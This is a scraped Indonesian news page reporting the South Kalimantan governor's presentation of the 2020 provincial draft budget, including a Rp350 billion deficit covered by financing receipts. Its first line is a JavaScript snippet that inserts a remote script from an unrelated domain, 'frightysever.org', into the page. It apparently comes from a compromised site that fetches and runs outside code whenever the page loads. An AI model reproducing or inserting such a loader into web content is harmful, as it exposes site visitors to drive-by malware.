(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

2020, Pemprov Ambil Kebijakan Tak Anggarkan Pengeluaran Pembiayaan


BANJARMASIN, Rapat paripurna dengan agenda pembahasan Perda Kalsel tahuan 2020 tentan pelaksanaan pembangunan RPJMD tahun 2016-2021 (tahun kelima), Senin (23/9) digelar di ruang rapat kantor DPRD Kalsel. Gubernur Kalsel Sahbirin Noor turut hadir dalam paripurna tersebut.

Sahbirin menyampaikan, saat ini terdapat selisih kurang sebesar Rp350 miliar dalam anggaran belanja daerah Provinsi Kalsel tahun anggaran 2020.  Adalpun rancangan Perda Provinsi Kalsel tentang APBD 2020 disusun berdasarkan prinsip anggaran surplus/defisit dengan komposisi pendapatan sebesar Rp6.996.340.856.000 dan belanja sebesar Rp 7.346.340.856.000

Disampaikan oleh Sahbirin, arah penggunaan belanja dalam rancangan Perda ini didasarkan pada peraturan daerah nomor : 03 tahun 2019 tentang perubahan Rencana Pembangunan Jangka Menengah Daerah (P-RPJMD) Kalsel tahun 2016-2021. Dimana didalamnya, terdapat 13 prioritas pembangunan tahun 2016-2021 yang diarahkan pada prioritas daerah dengan merujuk pada tema pembangunan RKPD tahun 2020 yaitu, memacu daya saing manusia perekonomian yang didukung sumber daya manusia berkualitas.

”Adapun selisih kurang anggaran 2020 ini akan ditutup oleh pembiayaan netto dari pembiayaan daerah,” kata Sahbirin.

Ia menambahkan, pembiayaan daerah pada rancangan perda tentang anggaran pendapatan dan belanja daerah tahun anggaran 2020 terdiri atas penerimaan pembiayaan yang dianggarkan sebesar Rp350 miliar yang terdiri dari silpa tahun anggaran sebelumnya sebesar Rp200 miliar dan pencairan dana cadangan sebesar Rp 150 miliar.

“Pada tahun anggaran 2020 pemprov Kalsel mengambil kebijakan untuk tidak menganggarkan pengeluaran pembiayaan,” ujar Gubernur Kalsel ini dalam rapat.

Dengan demikian, maka jumlah penerimaan pembiayaan sebesar Rp350 miliar dikurang dengan jumlah pengeluaran pembiayaan sebesar RP 0,00, sehingga terdapat netto sebesar Rp350 miliar. Dimana sisa pembayaran netto inilah yang kemudian digunakan untuk memenuhi defisit selisih kurang atas pendapatan.

Ditemui usai rapat, Sahbirin mengatakan bahwa yang ia sampaikan dalam rapat merupakan sebuah rancangan yang sudah dibicarakan, ditelaah, dan dipelajari. Serta tentu ia berharap agar hal ini dapat sesuai yang dibutuhkan masyarakat. “Tentu akan dipelajari anggota dewan, nanti kolaborasi, tapi saya harap tetap mengedepankan program yang bermanfaat buat rakyat. Tentu diselingi pelayanan yang prima,” pungkasnya kepada awak media.(mario)

Reporter : Mario
Editor : Cell

 


Desy Arfianty

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

4 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

5 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

5 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

6 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

10 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

11 jam ago

This website uses cookies.